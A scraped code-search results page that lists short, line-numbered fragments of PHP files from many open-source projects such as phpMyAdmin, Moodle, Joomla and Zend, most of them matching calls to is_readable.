$this->template;ml-slider.php https://gitlab.com/hop23typhu/list-theme | PHP | 1326 lines
88 'metacoinslider' => METASLIDER_PATH . 'inc/slider/metaslider.coin.class.php', 89 'metaflexslider' => METASLIDER_PATH . 'inc/slider/metaslider.flex.class.php', 90 'metanivoslider' => METASLIDER_PATH . 'inc/slider/metaslider.nivo.class.php', 90 'metanivoslider' => METASLIDER_PATH . 'inc/slider/metaslider.nivo.class.php', 91 'metaresponsiveslider' => METASLIDER_PATH . 'inc/slider/metaslider.responsive.class.php', 92 'metaslide' => METASLIDER_PATH . 'inc/slide/metaslide.class.php', 95 'metaslidersystemcheck' => METASLIDER_PATH . 'inc/metaslider.systemcheck.class.php', 96 'metaslider_widget' => METASLIDER_PATH . 'inc/metaslider.widget.class.php', 97 'simple_html_dom' => METASLIDER_PATH . 'inc/simple_html_dom.php' 111 112 // >= PHP 5.2 - Use auto loading 113 if ( function_exists( "__autoload" ) ) { 333 <p><?php echo $gopro_link; ?></p> 334 <p><?php echo $support_link; ?> <?php echo $documentation_link; ?></p> 335 <p><em>Don't want to see this? <?php echo $hide_link; ?></em></p>Config.php https://gitlab.com/che234/adn | PHP | 781 lines
1<?php 2/** 2/** 3 * @version $Id: Config.php 30067 2016-03-08 13:44:25Z matias $ 4 * @author RocketTheme http://www.rockettheme.com 246 } 247 if (!file_exists($metaconfig_path) || !is_file($metaconfig_path) || !is_readable($metaconfig_path)) { 248 throw new RokCommon_Config_Exception(rc__('Unable to read file %s', $metaconfig_path));smarty_internal_testinstall.php https://gitlab.com/dleonov/my-framework-two | PHP | 603 lines
1<?php 2/** 46 if ($smarty->use_include_path && !preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $_template_dir)) { 47 // try PHP include_path 48 if ($_stream_resolve_include_path) { 92 } 93 } elseif (!is_readable($template_dir)) { 94 $status = false; 130 } 131 } elseif (!is_readable($_compile_dir)) { 132 $status = false; 166 if ($smarty->use_include_path && !preg_match('/^([\/\\\\]|[a-zA-Z]:[\/\\\\])/', $_plugin_dir)) { 167 // try PHP include_path 168 if ($_stream_resolve_include_path) { 211 } 212 } elseif (!is_readable($plugin_dir)) { 213 $status = false;sqlite.php https://gitlab.com/giumbai/fluxbb | PHP | 601 lines
1<?php 2 10if (!function_exists('sqlite_open')) 11 exit('This PHP environment doesn\'t have SQLite support built in. SQLite support is required if you want to use a SQLite database to run this forum. Consult the PHP documentation for further assistance.'); 12 48 49 if (!is_readable($db_name)) 50 error('Unable to open database \''.$db_name.'\' for reading. Permission denied', __FILE__, __LINE__);StartupController.php git://github.com/QuickAppsCMS/QuickApps-CMS.git | PHP | 393 lines
1<?php 2/** 47 { 48 if (is_readable(ROOT . '/config/settings.php')) { 49 $this->redirect('/'); 112 113 if (is_readable($file)) { 114 I18n::locale($code); // trick for __d() 243 if ($this->request->data()) { 244 if (rename(ROOT . '/config/settings.php.tmp', ROOT . '/config/settings.php')) { 245 snapshot(); 295 $tests 296 ->add('php', (bool)version_compare(PHP_VERSION, '5.4.19', '>='), __d('installer', 'Your php version is not supported. check that your version is 5.4.19 or newer.')) 297 ->add('mbstring', (bool)extension_loaded('mbstring'), __d('installer', 'Missing extension: {0}', 'mbstring'))execute.php https://gitlab.com/elasa/shop2.elasa.ir | PHP | 205 lines
1<?php 2include('config/config.php'); 3if ($_SESSION['verify'] != 'RESPONSIVEfilemanager') die('forbiden'); 4include('include/utils.php'); 5 16 17$language_file = 'lang/en.php'; 18if (isset($_GET['lang']) && $_GET['lang'] != 'undefined' && $_GET['lang'] != '') 20 $path_parts = pathinfo($_GET['lang']); 21 if (is_readable('lang/'.$path_parts['basename'].'.php')) 22 $language_file = 'lang/'.$path_parts['basename'].'.php'; 40 41 if (file_exists($path.'config.php')) 42 { 42 { 43 require_once($path.'config.php'); 44 $cycle = false;worksheet.md https://gitlab.com/aeinola/web-tekniikat | Markdown | 219 lines
110 111PHP allows access to resources on the server. One such a resource is the files on the server. PHP has powerful and fairly easy to use file related functions. 112Below is a table containing some useful I/O related functions. 205 206Then, examine the source code in **diceplay.php** and find out the relatively simple steps for generating a JSON object was in PHP. 207 208 209Further reading: [PHP documentation home page][PHP] 210 210 211[PHP]: http://php.net/manual/en/ 212 2173. Modify the **Dice** class to implement a biased dice. The bias of the dice is given as parameter *p*. For an *n*-faceted dice with bias *p*, the maximum result (*n*) is returned with probability *p*, and each of the other results is returned with probability (1-*p*)/(*n*-1). Example: Consider a six-faceted dice with a bias of 0.4. The dice returns a six with probability of 0.4, and each of the lower numbers (1 to 5) with probability 0.12. Modify the parsing of the URI in such a way that the bias can be included in the input. If the bias is not provided, the dice should be treated as unbiased. 2184. In PHP, the inheritance is implemented using **extends** keyword in a fairly Java-like fashion (one of the key differences being that superclass constructors are not automatically called). In **diceclasses.inc.php**, write a new **PhysicalDice** class that becomes a subclass of **Dice**. In the subclass, add a new instance variable that is a string containing the material of the dice (e.g. wood or stone). Modify **diceplay.php** in such a way that the user can give the material of the dice as a parameter. If the material is given, a **PhysicalDice** is created. Otherwise, a regular **Dice** object is generated. For information on inheritance in PHP, see, e.g. http://zetcode.com/lang/php/oopi/ and scroll down to "Inheritance". 219autoloader.php https://gitlab.com/JrLucena/moodle | PHP | 203 lines
28 * 29 * Please notice that phpunit testcases obey frankenstyle naming rules, 30 * that is full component prefix + _testcase postfix. The files are expected 36 * vendor/bin/phpunit core_component_testcase 37 * vendor/bin/phpunit lib/tests/component_test.php 38 * vendor/bin/phpunit core_component_testcase lib/tests/component_test.php 44 */ 45class phpunit_autoloader implements PHPUnit_Runner_TestSuiteLoader { 46 public function load($suiteClassName, $suiteClassFile = '') { 110 } 111 // The last option is testsuite directories in main phpunit.xml file. 112 $xmlfile = "$CFG->dirroot/phpunit.xml"; 144 $filename = preg_replace('/testcase$/', 'test', $filename); 145 if (is_readable("$dir/$filename.php")) { 146 include_once("$dir/$filename.php");Settings.php https://gitlab.com/JrLucena/moodle | PHP | 387 lines
8 define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../'); 9 require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); 10} 32 * @package PHPExcel_Settings 33 * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) 34 * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL 117 * @param string $zipClass The Zip handler class that PHPExcel should use for Zip file management 118 * e.g. PHPExcel_Settings::PCLZip or PHPExcel_Settings::ZipArchive 119 * @return boolean Success or failure 137 * for Zip file management 138 * e.g. PHPExcel_Settings::PCLZip or PHPExcel_Settings::ZipArchive 139 */ 214 * @param string $libraryName Internal reference name of the library 215 * e.g. PHPExcel_Settings::CHART_RENDERER_JPGRAPH 216 *PageSpeed.php https://gitlab.com/endomorphosis/jeffersonsmithmayor | PHP | 340 lines
1<?php 2 19 /** 20 * PHP5-style constructor 21 */ 28 /** 29 * PHP4-style constructor 30 */ 72 function _request($url) { 73 require_once W3TC_INC_DIR . '/functions/http.php'; 74 require_once W3TC_INC_DIR . '/functions/url.php'; 235 236 if (is_readable($file)) { 237 $data = @file_get_contents($file);class-wp-filesystem-direct.php https://gitlab.com/Gashler/dp | PHP | 363 lines
1<?php 2/** 9/** 10 * WordPress Filesystem Class for direct PHP file and folder manipulation. 11 * 258 259 function is_readable($file) { 260 return @is_readable($file); 286 function mkdir($path, $chmod = false, $chown = false, $chgrp = false) { 287 // safe mode fails with a trailing slash under certain PHP versions. 288 $path = untrailingslashit($path);ThumbBase.inc.php https://gitlab.com/julienv/joomleague | PHP | 323 lines
1<?php 2/** 2/** 3 * PhpThumb Base Class Definition File 4 * 7 * PHP Version 5 with GD 2.0+ 8 * PhpThumb : PHP Thumb Library <http://phpthumb.gxdlabs.com> 9 * Copyright (c) 2009, Ian Selby/Gen X Design 17 * @copyright Copyright (c) 2009 Gen X Design 18 * @link http://phpthumb.gxdlabs.com 19 * @license http://www.opensource.org/licenses/mit-license.php The MIT License 20 * @version 3.0 21 * @package PhpThumb 22 * @filesource 31 * 32 * @package PhpThumb 33 * @subpackage CoreLoader.php https://gitlab.com/blingbang2016/shop | PHP | 343 lines
43 * If the file was not found in the $dirs, or if no $dirs were specified, 44 * it will attempt to load it from PHP's include_path. 45 * 58 if ((null !== $dirs) && !is_string($dirs) && !is_array($dirs)) { 59 #require_once 'Zend/Exception.php'; 60 throw new Zend_Exception('Directory argument must be a string or an array'); 91 /** 92 * Loads a PHP file. This is a wrapper for PHP's include() function. 93 * 150 * Returns TRUE if the $filename is readable, or FALSE otherwise. 151 * This function uses the PHP include_path, where PHP's is_readable() 152 * does not. 163 { 164 if (is_readable($filename)) { 165 // Return early if the filename is readable without needing thefile.php https://gitlab.com/endomorphosis/OLAAaction | PHP | 391 lines
1<?php 2/** 2/** 3 * @version $Id: file.php 19177 2010-10-21 03:08:56Z ian $ 4 * @package Joomla.Framework 6 * @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved. 7 * @license GNU/GPL, see LICENSE.php 8 * Joomla! is free software. This version may have been modified pursuant 11 * other free or open source software licenses. 12 * See COPYRIGHT.php for copyright notices and details. 13 */ 92 //Check src path 93 if (!is_readable($src)) { 94 JError::raiseWarning(21, 'JFile::copy: ' . JText::_('Cannot find or read file') . ": '$src'"); 201 //Check src path 202 if (!is_readable($src) && !is_writable($src)) { 203 JError::raiseWarning(21, 'JFile::move: ' . JText::_('Cannot find, read or write file') . ": '$src'");Loader.php https://gitlab.com/r.collas/site_central | PHP | 548 lines
1<?php 2/** 12 13require_once 'Exception.php'; 14 63 64 if(!is_dir($path) || !is_readable($path)) 65 throw new Yab_Exception($path.' is not a valid readable directory path'); 99 100 if($readable && !is_readable($realpath)) 101 return false; 136 137 if($readable && !is_readable($realpath)) 138 return false; 167 168 return str_replace('_', DIRECTORY_SEPARATOR, $class_name).'.php'; 169TubePressBootstrapper.class.php https://gitlab.com/endomorphosis/jeffersonsmithmayor | PHP | 189 lines
1<?php 2/** 21 22class_exists('org_tubepress_impl_classloader_ClassLoader') || require dirname(__FILE__) . '/../classloader/ClassLoader.class.php'; 23org_tubepress_impl_classloader_ClassLoader::loadClasses(array( 120 121 if ('.php' == substr($file, -4) && is_readable($file)) { 122 122 123 org_tubepress_impl_log_Log::log(self::LOG_PREFIX, 'Loading PHP file at <tt>%s</tt>', $file); 124password_compat.php git://github.com/q2a/question2answer.git | PHP | 317 lines
1<?php 2/** 2/** 3 * A Compatibility library with PHP 5.5's simplified password hashing API. 4 * 4 * 5 * @author Anthony Ferrara <ircmaxell@php.net> 6 * @license http://www.opensource.org/licenses/mit-license.html MIT License 13 /** 14 * PHPUnit Process isolation caches constants, but not function declarations. 15 * So we need to check if the constants are defined separately from 116 } 117 if (!$buffer_valid && @is_readable('/dev/urandom')) { 118 $file = fopen('/dev/urandom', 'r'); 296 /** 297 * Check if current PHP version is compatible with the library 298 *Stream.php https://gitlab.com/endomorphosis/falkenstein | PHP | 289 lines
1<?php 2 7/** 8 * PHP stream implementation 9 */ 14 const IS_LOCAL = 'is_local'; 15 const IS_READABLE = 'is_readable'; 16 const IS_WRITABLE = 'is_writable'; 81 } 82 $this->cache[self::IS_READABLE] = false; 83 $this->cache[self::IS_WRITABLE] = false; 176 return $this->size; 177 } elseif ($this->cache[self::IS_READABLE] && $this->cache[self::SEEKABLE]) { 178 // Only get the size based on the content if the the stream is readable and seekable 189 { 190 return $this->cache[self::IS_READABLE]; 191 }class-wc-api-resource.php https://gitlab.com/Suhailgit/Project | PHP | 402 lines
1<?php 2/** 91 case 'read': 92 if ( ! $this->is_readable( $post ) ) 93 return new WP_Error( "woocommerce_api_user_cannot_read_{$resource_name}", sprintf( __( 'You do not have permission to read this %s', 'woocommerce' ), $resource_name ), array( 'status' => 401 ) ); 338 */ 339 protected function is_readable( $post ) { 340RequirePackage.php https://gitlab.com/peterboorsma/fluor | PHP | 281 lines
1<?php 2 70 } 71 if (!is_readable($file)) { 72 // JSON is not readableSettings.php https://gitlab.com/joelopezcuenca/proyectocoin | PHP | 387 lines
1<?php 2/** 2/** 3 * PHPExcel 4 * 22 * @package PHPExcel_Settings 23 * @copyright Copyright (c) 2006 - 2014 PHPExcel (http://www.codeplex.com/PHPExcel) 24 * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL 33 define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../'); 34 require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); 35} 118 * @param string $zipClass The Zip handler class that PHPExcel should use for Zip file management 119 * e.g. PHPExcel_Settings::PCLZip or PHPExcel_Settings::ZipArchive 120 * @return boolean Success or failure 138 * for Zip file management 139 * e.g. PHPExcel_Settings::PCLZip or PHPExcel_Settings::ZipArchive 140 */Registry.php https://gitlab.com/blingbang2016/shop | PHP | 364 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 29{ 30 const PACKAGE_PEAR_DIR = 'pearlib/php/.registry'; 31 213 214 if (is_readable($path)) { 215 $data = file_get_contents($path);ImageSize.php http://firephp.googlecode.com/svn/trunk/ | PHP | 0 lines
1<?php 2/** 24 */ 25require_once 'Zend/Validate/Abstract.php'; 26 205 if (($this->_maxwidth !== null) and ($minwidth > $this->_maxwidth)) { 206 require_once 'Zend/Validate/Exception.php'; 207 throw new Zend_Validate_Exception("The minimum image width must be less than or equal to the " 211 if (($this->_maxheight !== null) and ($minheight > $this->_maxheight)) { 212 require_once 'Zend/Validate/Exception.php'; 213 throw new Zend_Validate_Exception("The minimum image height must be less than or equal to the " 235 } else if (($this->_minwidth !== null) and ($maxwidth < $this->_minwidth)) { 236 require_once 'Zend/Validate/Exception.php'; 237 throw new Zend_Validate_Exception("The maximum image width must be greater than or equal to the " 245 } else if (($this->_minheight !== null) and ($maxheight < $this->_minheight)) { 246 require_once 'Zend/Validate/Exception.php'; 247 throw new Zend_Validate_Exception("The maximum image height must be greater than or equal to the "index.php https://gitlab.com/BaseX/BaseX | PHP | 214 lines
1<?php 2// $Id: index.php,v 1.3 2004/10/05 19:06:29 phppp Exp $ 3// ------------------------------------------------------------------------ // 26// ------------------------------------------------------------------------ // 27// Author: D.J.(phppp) php_pp@hotmail.com // 28// URL: http://www.xoops.org.cn // 31 32include_once(XOOPS_ROOT_PATH.'/modules/xlanguage/include/vars.php'); 33include_once(XOOPS_ROOT_PATH.'/modules/xlanguage/include/functions.php'); 135 xlanguage_createConfig(); 136 redirect_header( 'index.php', 1, _AM_XLANG_CREATED ); 137 exit(); 144 languageList(); 145 $configfile_status = (@is_readable(XLANGUAGE_CONFIG_FILE))?_AM_XLANG_CONFIGOK:_AM_XLANG_CONFIGNOTOK; 146 echo"<table width='100%' border='0' cellspacing='1' class='outer'><tr><td class=\"odd\">";file.php https://gitlab.com/rio.munas/gddc | PHP | 394 lines
252 <tr> 253 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th> 254 <td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td> 262 <tr> 263 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-filetypes' ); ?>"><?php echo esc_html( __( 'Acceptable file types', 'contact-form-7' ) ); ?></label></th> 264 <td><input type="text" name="filetypes" class="filetype oneline option" id="<?php echo esc_attr( $args['content'] . '-filetypes' ); ?>" /></td> 267 <tr> 268 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th> 269 <td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td> 272 <tr> 273 <th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th> 274 <td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td> 290 291 <p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To attach the file uploaded through this field to mail, you need to insert the corresponding mail-tag (%s) into the File Attachments field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p> 292</div>PHP.php https://gitlab.com/fogteen/gasaon | PHP | 339 lines
56 */ 57abstract class PHPUnit_Util_PHP 58{ 66 * 67 * PHPUnit_Util_PHP::$phpBinary contains the path to the PHP 68 * interpreter. 98 else if (defined("PHP_BINARY")) { 99 $this->phpBinary = PHP_BINARY; 100 } else if (PHP_SAPI == 'cli' && isset($_SERVER['_'])) { 116 $possibleBinaryLocations = array( 117 PHP_BINDIR . '/php', 118 PHP_BINDIR . '/php-cli.exe', 225 */ 226 protected function processChildResult(PHPUnit_Framework_Test $test, PHPUnit_Framework_TestResult $result, $stdout, $stderr) 227 {html.php https://gitlab.com/endomorphosis/OLAAaction | PHP | 394 lines
1<?php 2/** 2/** 3* @version $Id: html.php 14401 2010-01-26 14:10:00Z louis $ 4* @package Joomla.Framework 6* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved. 7* @license GNU/GPL, see LICENSE.php 8* Joomla! is free software. This version may have been modified pursuant 11* other free or open source software licenses. 12* See COPYRIGHT.php for copyright notices and details. 13*/ 114 * ('rev' refers to reverse relation, 'rel' indicates normal, forward relation.) 115 * Typical tag: <link href="index.php" rel="Start"></p> 116 * 229 // them into the template. 230 if (is_readable( $directory.DS.$template.DS.'params.ini' ) ) 231 {mysql_class_v1_1.php http://htdocstest.googlecode.com/svn/trunk/ | PHP | 411 lines
1<?php 2 154 function readconf($file){ 155 //if (!file_exists($file) || !is_readable($file)) die ("Error reading configuration file. "); 156 $def = file($file); 287 * $action is insert update based 288 * $form_action is this example (action='index.php') 289 * BETA TESTED WORKS GOOD ON SMALL CODEFile.php https://gitlab.com/blingbang2016/shop | PHP | 166 lines
1<?php 2/** 26 */ 27#require_once 'Zend/Auth/Adapter/Http/Resolver/Interface.php'; 28 68 { 69 if (empty($path) || !is_readable($path)) { 70 /** 72 */ 73 #require_once 'Zend/Auth/Adapter/Http/Resolver/Exception.php'; 74 throw new Zend_Auth_Adapter_Http_Resolver_Exception('Path not readable: ' . $path); 117 */ 118 #require_once 'Zend/Auth/Adapter/Http/Resolver/Exception.php'; 119 throw new Zend_Auth_Adapter_Http_Resolver_Exception('Username is required'); 123 */ 124 #require_once 'Zend/Auth/Adapter/Http/Resolver/Exception.php'; 125 throw new Zend_Auth_Adapter_Http_Resolver_Exception('Username must consist only of printable characters, 'shBrushPhp.js https://gitlab.com/Mirros/jsdelivr | JavaScript | 91 lines
29 */ 30SyntaxHighlighter.brushes.Php = function() 31{ 57 'is_executable is_file is_finite is_float is_infinite is_int is_integer is_link is_long '+ 58 'is_nan is_null is_numeric is_object is_readable is_real is_resource is_scalar is_soap_fault '+ 59 'is_string is_subclass_of is_uploaded_file is_writable is_writeable mkdir mktime nl2br '+ 86 87 this.forHtmlScript(SyntaxHighlighter.regexLib.phpScriptTags); 88}; 90SyntaxHighlighter.brushes.Php.prototype = new SyntaxHighlighter.Highlighter(); 91SyntaxHighlighter.brushes.Php.aliases = ['php']; 92elFinderVolumeLocalFileSystem.class.php git://github.com/QuickAppsCMS/QuickApps-CMS.git | PHP | 821 lines
1<?php 2 345 //logical rights first 346 $stat['read'] = is_readable($path)? null : false; 347 $stat['write'] = is_writable($path)? null : false;DatabaseInstaller.php git://github.com/QuickAppsCMS/QuickApps-CMS.git | PHP | 510 lines
48 * 49 * - settingsPath: Full path to the "settings.php" file where store connection 50 * information used by QuickAppsCMS. This should NEVER be changed, use with 55 * 56 * - maxExecutionTime: Time in seconds for PHP's "max_execution_time" directive. 57 * Defaults to 480 (8 minutes). 92 { 93 $this->_defaultConfig['settingsPath'] = ROOT . '/config/settings.php'; 94 $this->_defaultConfig['schemaPath'] = dirname(dirname(__DIR__)) . '/config/fixture/'; 163 * 164 * If the file "ROOT/config/settings.php.tmp" exists, and has declared a 165 * connection named "default" it will be used. 175 176 if (is_readable(ROOT . '/config/settings.php.tmp')) { 177 $dbConfig = include ROOT . '/config/settings.php.tmp';FieldUIControllerTrait.php git://github.com/QuickAppsCMS/QuickApps-CMS.git | PHP | 616 lines
1<?php 2/** 41 * 42 * ```php 43 * uses Field\Controller\FieldUIControllerTrait; 53 * 54 * ```php 55 * uses Field\Controller\FieldUIControllerTrait; 151 152 if (!is_readable($templatePath)) { 153 $alternativeTemplatePath = Plugin::classPath('Field') . 'Template/FieldUI'; 153 $alternativeTemplatePath = Plugin::classPath('Field') . 'Template/FieldUI'; 154 if (is_readable("{$alternativeTemplatePath}/{$action}.ctp")) { 155 $this->plugin = 'Field';functions.php git://github.com/QuickAppsCMS/QuickApps-CMS.git | PHP | 752 lines
1<?php 2/** 31 * 32 * Information is stored in `TMP/snapshot.php` file, it contains 33 * useful information such as enabled languages, content types slugs, installed 37 * 38 * ```php 39 * Configure::read('QuickApps.<option>'); 43 * 44 * ```php 45 * quickapps('<option>'); 73 74 if (is_readable($versionPath)) { 75 $versionFile = file($versionPath); 159 foreach ($folder->read(false, false, true)[1] as $classFile) { 160 $className = basename(preg_replace('/\.php$/', '', $classFile)); 161 if (!in_array($className, ['AppAspect', 'Aspect'])) {AuthenticationCookieTest.php git://github.com/phpmyadmin/phpmyadmin.git | PHP | 1326 lines
27/** 28 * @covers \PhpMyAdmin\Plugins\Auth\AuthenticationCookie 29 */ 49 $this->object = new AuthenticationCookie(); 50 $GLOBALS['PMA_PHP_SELF'] = '/phpmyadmin/'; 51 $GLOBALS['cfg']['Server']['DisableIS'] = false; 420 421 $this->mockResponse('Location: /phpmyadmin/index.php?route=/&server=2&lang=en'); 422 447 { 448 $this->mockResponse('Location: /phpmyadmin/index.php?route=/'); 449 468 { 469 $this->mockResponse('Location: /phpmyadmin/index.php?route=/'); 470Common.php git://github.com/squizlabs/PHP_CodeSniffer.git | PHP | 570 lines
1<?php 2/** 6 * @copyright 2006-2015 Squiz Pty Ltd (ABN 77 084 670 600) 7 * @license https://github.com/squizlabs/PHP_CodeSniffer/blob/master/licence.txt BSD Licence 8 */ 9 10namespace PHP_CodeSniffer\Util; 11 53 * 54 * Addresses PHP bug related to reading files from network drives on Windows. 55 * e.g. when using WSL2. 62 { 63 if (@is_readable($path) === true) { 64 return true; 99 if (strpos($path, '/dev/fd') === 0) { 100 return str_replace('/dev/fd', 'php://fd', $path); 101 }modulehelp.php git://github.com/Dolibarr/dolibarr.git | PHP | 587 lines
1<?php 2/* Copyright (C) 2017 Laurent Destailleur <eldy@users.sourceforge.net> 19/** 20 * \file htdocs/admin/modulehelp.php 21 * \brief Page to activate/disable all modules 31 32require '../main.inc.php'; 33require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; 33require_once DOL_DOCUMENT_ROOT.'/core/lib/admin.lib.php'; 34require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; 35require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php'; 92 //print $dir."\n<br>"; 93 dol_syslog("Scan directory ".$dir." for module descriptor files (modXXX.class.php)"); 94 $handle = @opendir($dir); 97 //print "$i ".$file."\n<br>"; 98 if (is_readable($dir.$file) && substr($file, 0, 3) == 'mod' && substr($file, dol_strlen($file) - 10) == '.class.php') { 99 $modName = substr($file, 0, dol_strlen($file) - 10);File.php git://github.com/phpmyadmin/phpmyadmin.git | PHP | 837 lines
1<?php 2 4 5namespace PhpMyAdmin; 6 23use function is_link; 24use function is_readable; 25use function is_string; 304 $this->errorMessage = Message::error(__( 305 'The uploaded file exceeds the upload_max_filesize directive in php.ini.' 306 )); 496 // any file access outside of open_basedir will issue a warning 497 return @is_readable((string) $this->getName()); 498 }Config.php git://github.com/phpmyadmin/phpmyadmin.git | PHP | 1384 lines
179 * Determines platform (OS), browser and version of the user 180 * Based on a phpBuilder article: 181 * 181 * 182 * @see http://www.phpbuilder.net/columns/tim20000821.php 183 */ 282 /** 283 * Whether the Web server php is running on is IIS 284 */ 313 314 if (stripos(PHP_OS, 'win') !== false && stripos(PHP_OS, 'darwin') === false) { 315 // Is it some version of Windows 436 $userPreferences = new UserPreferences(); 437 // index.php should load these settings, so that phpmyadmin.css.php 438 // will have everything available in session cachefile.php git://github.com/mageekguy/atoum.git | PHP | 586 lines
1<?php 2 10 11require_once __DIR__ . '/../../../../runner.php'; 12 28 ->variable($fileResource = fopen($file, 'r'))->isNotEqualTo(false) 29 ->boolean(is_readable($file))->isTrue() 30 ->boolean(is_writable($file))->isTrue() 39 ->variable($fileResource = fopen($file, 'r'))->isNotEqualTo(false) 40 ->boolean(is_readable($file))->isTrue() 41 ->boolean(is_writable($file))->isTrue() 62 ->integer(filesize($file))->isEqualTo(0) 63 ->if($file->contains($data = ('abcdefghijklmnopqrstuvwxyz' . PHP_EOL))) 64 ->then 77 78 /** @php 5.4 */ 79 public function testChmod()Reader.php https://gitlab.com/hop23typhu/faci-vinhomes | PHP | 296 lines
1<?php 2 44 45 if (!is_readable($database)) { 46 throw new \InvalidArgumentException(imports.php https://gitlab.com/nexxuz/phpBMS | PHP | 500 lines
320 foreach($recordsArray as $record){ 321 ?><tr class="qr<?php echo $i ?>" ><?php 322 foreach($fieldsArray as $field => $junk){ 472 473 ?><form action="<?php echo htmlentities($this->action) ?>" method="<?php echo $this->method?>" name="<?php echo $this->name?>" onsubmit="<?php echo $this->onsubmit?>" <?php 474 if(isset($this->enctype)) echo ' enctype="'.$this->enctype.'" '; 480 <div id="topButtons"><?php $this->showButtons(1, $pageType, $numberOfRecords); ?></div> 481 <h1 id="h1Title"><span><?php echo $pageTitle ?></span></h1><?php 482 489 <input <?php if($ids==1) {?>accesskey="u"<?php }?> title="Upload (alt+u)" id="uploadButton<?php echo $ids?>" name="command" type="submit" value="upload" class="Buttons" /> 490 <input id="cancelButton<?php echo $ids?>" name="command" type="submit" value="cancel" class="Buttons" <?php if($ids==1) {?>accesskey="x" <?php }?> title="(access key+x)" /> 491 <?php }else{?> 491 <?php }else{?> 492 <input type="submit" class="Buttons" value="import" name="command" id="import<?php echo $ids?>" title="commit" <?php if($ids==1) {?>accesskey="i"<?php }?> <?php echo ($numberOfRecords? '':'disabled="disabled"') ?>/> 493 <input type="submit" class="Buttons" value="cancel" name="command" id="cancelButton<?php echo $ids?>" <?php if($ids==1) {?>accesskey="x"<?php }?> title="rollback"/>File.php https://gitlab.com/blingbang2016/shop | PHP | 198 lines
1<?php 2/** 23/** Zend_Pdf_FileParserDataSource */ 24#require_once 'Zend/Pdf/FileParserDataSource.php'; 25 77 if (! (is_file($filePath) || is_link($filePath))) { 78 #require_once 'Zend/Pdf/Exception.php'; 79 throw new Zend_Pdf_Exception("Invalid file path: $filePath", 81 } 82 if (! is_readable($filePath)) { 83 #require_once 'Zend/Pdf/Exception.php'; 87 if (($this->_size = @filesize($filePath)) === false) { 88 #require_once 'Zend/Pdf/Exception.php'; 89 throw new Zend_Pdf_Exception("Error while obtaining file size: $filePath", 92 if (($this->_fileResource = @fopen($filePath, 'rb')) === false) { 93 #require_once 'Zend/Pdf/Exception.php'; 94 throw new Zend_Pdf_Exception("Cannot open file for reading: $filePath",Ftp.php https://gitlab.com/daigiangaitu91/magento | PHP | 335 lines
1<?php 2/** 73 * @throws LocalizedException 74 * @SuppressWarnings(PHPMD.CyclomaticComplexity) 75 * @SuppressWarnings(PHPMD.NPathComplexity) 159 * @return bool 160 * @SuppressWarnings(PHPMD.UnusedFormalParameter) 161 */ 172 * @return bool 173 * @SuppressWarnings(PHPMD.UnusedFormalParameter) 174 */ 194 * @return bool 195 * @SuppressWarnings(PHPMD.ShortMethodName) 196 */ 242 * @return bool 243 * @SuppressWarnings(PHPMD.UnusedFormalParameter) 244 */Config.php https://gitlab.com/daigiangaitu91/magento | PHP | 589 lines
1<?php 2/** 91 } elseif (is_string($sourceData) && !empty($sourceData)) { 92 if (strlen($sourceData) < 1000 && is_readable($sourceData)) { 93 $this->loadFile($sourceData); 187 * @return boolean 188 * @SuppressWarnings(PHPMD.BooleanGetMethodName) 189 */ 458 { 459 if (!is_readable($filePath)) { 460 //throw new \Exception('Can not read xml file '.$filePath); 570 * Destructor should be called explicitly in order to work around the PHP bug 571 * https://bugs.php.net/bug.php?id=62468 572 *FacebookRedirectLoginHelper.php https://gitlab.com/ifelipa/Proyecto-DAW | PHP | 360 lines
1<?php 2/** 133 134 if (!ini_get('open_basedir') && is_readable('/dev/urandom')) { 135 return new UrandomPseudoRandomStringGenerator(); 198 199 return 'https://www.facebook.com/logout.php?' . http_build_query($params, null, $separator); 200 }getid3.php https://gitlab.com/hotrainer/zarmani | PHP | 1402 lines
